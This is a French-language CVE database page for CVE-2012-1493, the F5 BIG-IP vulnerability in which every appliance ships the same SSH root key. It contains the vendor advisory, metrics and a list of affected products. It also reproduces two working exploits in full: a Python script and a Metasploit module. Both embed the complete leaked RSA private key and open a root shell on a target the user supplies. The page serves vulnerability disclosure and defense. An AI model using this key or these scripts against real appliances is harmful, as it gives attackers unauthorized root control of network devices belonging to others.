CVE-2012-1493 : Détail

CVE-2012-1493

A07-Identif. and Authent. Fail
84.38%V4
Network
2012-07-09
22h00 +00:00
2024-09-17
01h20 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

F5 BIG-IP appliances 9.x before 9.4.8-HF5, 10.x before 10.2.4, 11.0.x before 11.0.0-HF2, and 11.1.x before 11.1.0-HF3, and Enterprise Manager before 2.1.0-HF2, 2.2.x before 2.2.0-HF1, and 2.3.x before 2.3.0-HF3, use a single SSH private key across different customers' installations and do not properly restrict access to this key, which makes it easier for remote attackers to perform SSH logins via the PubkeyAuthentication option.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-255 Category : Credentials Management Errors
Weaknesses in this category are related to the management of credentials.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.8 AV:N/AC:L/Au:N/C:C/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 19064

Date de publication : 2012-06-10 22h00 +00:00
Auteur : Florent Daigniere
EDB Vérifié : Yes

Matta Consulting - Matta Advisory https://www.trustmatta.com F5 BIG-IP remote root authentication bypass Vulnerability Advisory ID: MATTA-2012-002 CVE reference: CVE-2012-1493 Affected platforms: BIG-IP platforms without SCCP Version: 11.x 10.x 9.x Date: 2012-February-16 Security risk: High Vulnerability: F5 BIG-IP remote root authentication bypass Researcher: Florent Daigniere Vendor Status: Notified / Patch available Vulnerability Disclosure Policy: https://www.trustmatta.com/advisories/matta-disclosure-policy-01.txt Permanent URL: https://www.trustmatta.com/advisories/MATTA-2012-002.txt ===================================================================== Description: Vulnerable BIG-IP installations allow unauthenticated users to bypass authentication and login as the 'root' user on the device. The SSH private key corresponding to the following public key is public and present on all vulnerable appliances: ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvIhC5skTzxyHif/7iy3yhxuK6/OB13hjPqrskogkYFrcW8OK4VJT+5+Fx7wd4sQCnVn8rNqahw/x6sfcOMDI/Xvn4yKU4t8TnYf2MpUVr4ndz39L5Ds1n7Si1m2suUNxWbKv58I8+NMhlt2ITraSuTU0NGymWOc8+LNi+MHXdLk= SCCP Superuser Its fingerprint is: 71:3a:b0:18:e2:6c:41:18:4e:56:1e:fd:d2:49:97:66 ===================================================================== Impact If successful, a malicious third party can get full control of the device with little to no effort. The Attacker might reposition and launch an attack against other parts of the target infrastructure from there. ===================================================================== Versions affected: BIG-IP version 11.1.0 build 1943.0 tested. The vendor reports that the following versions are patched: 9.4.8-HF5 and later 10.2.4 and later 11.0.0-HF2 and later 11.1.0-HF3 and later http://support.f5.com/kb/en-us/solutions/public/13000/600/sol13600.html ===================================================================== Credits This vulnerability was discovered and researched by Florent Daigniere from Matta Consulting. ===================================================================== History 16-02-12 initial discovery 22-02-12 initial attempt to contact the vendor 24-02-12 reply from David Wang, case C1062228 is open 24-02-12 draft of the advisory sent to the vendor 01-03-12 CVE-2012-1493 is assigned 06-04-12 James Affeld starts coordinating the notification effort 23-05-12 F5 notifies us that patches are ready 29-05-12 F5 sends advance notification to some customers 06-06-12 Public disclosure ===================================================================== About Matta Matta is a privately held company with Headquarters in London, and a European office in Amsterdam. Established in 2001, Matta operates in Europe, Asia, the Middle East and North America using a respected team of senior consultants. Matta is an accredited provider of Tiger Scheme training; conducts regular research and is the developer behind the webcheck application scanner, and colossus network scanner. https://www.trustmatta.com https://www.trustmatta.com/training.html https://www.trustmatta.com/webapp_va.html https://www.trustmatta.com/network_va.html ===================================================================== Disclaimer and Copyright Copyright (c) 2012 Matta Consulting Limited. All rights reserved. This advisory may be distributed as long as its distribution is free-of-charge and proper credit is given. The information provided in this advisory is provided "as is" without warranty of any kind. Matta Consulting disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Matta Consulting or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Matta Consulting or its suppliers have been advised of the possibility of such damages.
Exploit Database EDB-ID : 19091

Date de publication : 2012-06-11 22h00 +00:00
Auteur : David Kennedy (ReL1K)
EDB Vérifié : Yes

#!/usr/bin/python # # Title: F5 BIG-IP Remote Root Authentication Bypass Vulnerability (py) # # Quick script written by Dave Kennedy (ReL1K) for F5 authentication root bypass # http://www.secmaniac.com # # import subprocess,os filewrite = file("priv.key", "w") filewrite.write("""-----BEGIN RSA PRIVATE KEY----- MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF 8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv 7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM 2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s 37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/ uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS -----END RSA PRIVATE KEY-----""") filewrite.close() subprocess.Popen("chmod 700 priv.key", shell=True).wait() ipaddr=raw_input("Enter the IP address of the F5: ") subprocess.Popen("ssh -i priv.key root@%s" % (ipaddr), shell=True).wait() if os.path.isfile("priv.key"): os.remove("priv.key")
Exploit Database EDB-ID : 19099

Date de publication : 2012-06-12 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, { 'Name' => 'F5 BIG-IP SSH Private Key Exposure', 'Version' => '$Revision$', 'Description' => %q{ F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author' => ['egypt'], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ], [ 'CVE', '2012-1493' ], [ 'OSVDB', '82780' ] ], 'DisclosureDate' => "Jun 11 2012", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 0, })) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22), ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user) opt_hash = { :auth_methods => ['publickey'], :msframework => framework, :msfmodule => self, :port => rport, :key_data => [ key_data ], :disable_agent => true, :config => false, :record_auth_info => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, user, opt_hash) end rescue Rex::ConnectionError, Rex::AddressInUse return :connection_error rescue Net::SSH::Disconnect, ::EOFError return :connection_disconnect rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return :connection_disconnect rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e return [:fail,nil] # For whatever reason. end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) ssh_socket = nil return conn else return false end end def exploit conn = do_login("root") if conn print_good "Successful login" handler(conn.lsock) else print_error "Login failed" end end def key_data <<EOF -----BEGIN RSA PRIVATE KEY----- MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF 8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv 7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM 2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s 37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/ uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS -----END RSA PRIVATE KEY----- EOF end end

Products Mentioned

Configuraton 0

F5>>Big-ip_application_security_manager >> Version 9.2.0

F5>>Big-ip_application_security_manager >> Version 9.2.0

    F5>>Big-ip_application_security_manager >> Version 9.4.4

    F5>>Big-ip_application_security_manager >> Version 9.4.5

    F5>>Big-ip_application_security_manager >> Version 9.4.6

    F5>>Big-ip_application_security_manager >> Version 9.4.7

    F5>>Big-ip_application_security_manager >> Version 9.4.8

    F5>>Big-ip_application_security_manager >> Version 10.0.0

    F5>>Big-ip_application_security_manager >> Version 10.0.1

    F5>>Big-ip_application_security_manager >> Version 10.2.3

      F5>>Big-ip_application_security_manager >> Version 11.0.0

      F5>>Big-ip_application_security_manager >> Version 11.0.0

        F5>>Big-ip_application_security_manager >> Version 11.1.0

        F5>>Big-ip_application_security_manager >> Version 11.1.0

          F5>>Big-ip_global_traffic_manager >> Version *

          F5>>Big-ip_global_traffic_manager >> Version 9.2.2

          F5>>Big-ip_global_traffic_manager >> Version 9.4.8

            F5>>Big-ip_global_traffic_manager >> Version 10.0.0

            F5>>Big-ip_global_traffic_manager >> Version 10.2.3

              F5>>Big-ip_global_traffic_manager >> Version 11.0.0

              F5>>Big-ip_global_traffic_manager >> Version 11.0.0

                F5>>Big-ip_global_traffic_manager >> Version 11.1.0

                F5>>Big-ip_global_traffic_manager >> Version 11.1.0

                  F5>>Big-ip_local_traffic_manager >> Version *

                  F5>>Big-ip_local_traffic_manager >> Version 9.0.0

                    F5>>Big-ip_local_traffic_manager >> Version 9.4.8

                      F5>>Big-ip_local_traffic_manager >> Version 10.0.0

                      F5>>Big-ip_local_traffic_manager >> Version 10.2.3

                        F5>>Big-ip_local_traffic_manager >> Version 11.0.0

                        F5>>Big-ip_local_traffic_manager >> Version 11.0.0

                          F5>>Big-ip_local_traffic_manager >> Version 11.1.0

                          F5>>Big-ip_local_traffic_manager >> Version 11.1.0

                            F5>>Tmos >> Version *

                            F5>>Tmos >> Version 2.0

                            F5>>Tmos >> Version 4.0

                            F5>>Tmos >> Version 4.2

                            F5>>Tmos >> Version 4.3

                            F5>>Tmos >> Version 4.4

                            F5>>Tmos >> Version 4.5

                            F5>>Tmos >> Version 4.5.6

                            F5>>Tmos >> Version 4.5.9

                            F5>>Tmos >> Version 4.5.10

                            F5>>Tmos >> Version 4.5.11

                            F5>>Tmos >> Version 4.5.12

                            F5>>Tmos >> Version 4.6

                            F5>>Tmos >> Version 4.6.2

                            F5>>Tmos >> Version 9.0

                            F5>>Tmos >> Version 9.0.1

                            F5>>Tmos >> Version 9.0.2

                            F5>>Tmos >> Version 9.0.3

                            F5>>Tmos >> Version 9.0.4

                            F5>>Tmos >> Version 9.0.5

                            F5>>Tmos >> Version 9.1

                            F5>>Tmos >> Version 9.1.1

                            F5>>Tmos >> Version 9.1.2

                            F5>>Tmos >> Version 9.1.3

                            F5>>Tmos >> Version 9.2

                            F5>>Tmos >> Version 9.2.2

                            F5>>Tmos >> Version 9.2.3

                            F5>>Tmos >> Version 9.2.4

                            F5>>Tmos >> Version 9.2.5

                            F5>>Tmos >> Version 9.3

                            F5>>Tmos >> Version 9.3.1

                            F5>>Tmos >> Version 9.4

                            F5>>Tmos >> Version 9.4.1

                            F5>>Tmos >> Version 9.4.2

                            F5>>Tmos >> Version 9.4.3

                            F5>>Tmos >> Version 9.4.4

                            F5>>Tmos >> Version 9.4.5

                            F5>>Tmos >> Version 9.4.6

                            F5>>Tmos >> Version 9.4.7

                            F5>>Tmos >> Version 9.4.8

                            F5>>Tmos >> Version 9.6.0

                            F5>>Tmos >> Version 9.6.1

                            F5>>Tmos >> Version 10.0.0

                            F5>>Tmos >> Version 10.0.1

                            F5>>Tmos >> Version 10.1.0

                            F5>>Tmos >> Version 10.2.0

                            F5>>Big-ip_1000 >> Version *

                            F5>>Big-ip_11000 >> Version *

                              F5>>Big-ip_11050 >> Version *

                              F5>>Big-ip_1500 >> Version *

                              F5>>Big-ip_1600 >> Version *

                              F5>>Big-ip_2400 >> Version *

                              F5>>Big-ip_3400 >> Version *

                              F5>>Big-ip_3410 >> Version *

                              F5>>Big-ip_3600 >> Version *

                              F5>>Big-ip_3900 >> Version *

                              F5>>Big-ip_4100 >> Version *

                              F5>>Big-ip_5100 >> Version *

                              F5>>Big-ip_5110 >> Version *

                              F5>>Big-ip_6400 >> Version *

                              F5>>Big-ip_6800 >> Version *

                              F5>>Big-ip_6900 >> Version *

                              F5>>Big-ip_8400 >> Version *

                              F5>>Big-ip_8800 >> Version *

                              F5>>Big-ip_8900 >> Version *

                              F5>>Big-ip_8950 >> Version *

                              Configuraton 0

                              F5>>Enterprise_manager >> Version *

                                F5>>Enterprise_manager >> Version 1.0

                                  F5>>Enterprise_manager >> Version 2.0

                                    F5>>Enterprise_manager >> Version 2.1.0

                                      F5>>Enterprise_manager >> Version 2.1.0

                                        F5>>Enterprise_manager >> Version 2.2.0

                                          F5>>Enterprise_manager >> Version 2.3.0

                                            F5>>Enterprise_manager >> Version 2.3.0

                                              F5>>Enterprise_manager >> Version *

                                                F5>>Enterprise_manager >> Version 1.0

                                                  F5>>Enterprise_manager >> Version 2.0

                                                    F5>>Enterprise_manager >> Version 2.1.0

                                                      F5>>Enterprise_manager >> Version 2.1.0

                                                        F5>>Enterprise_manager >> Version 2.2.0

                                                          F5>>Enterprise_manager >> Version 2.3.0

                                                            F5>>Enterprise_manager >> Version 2.3.0

                                                              Références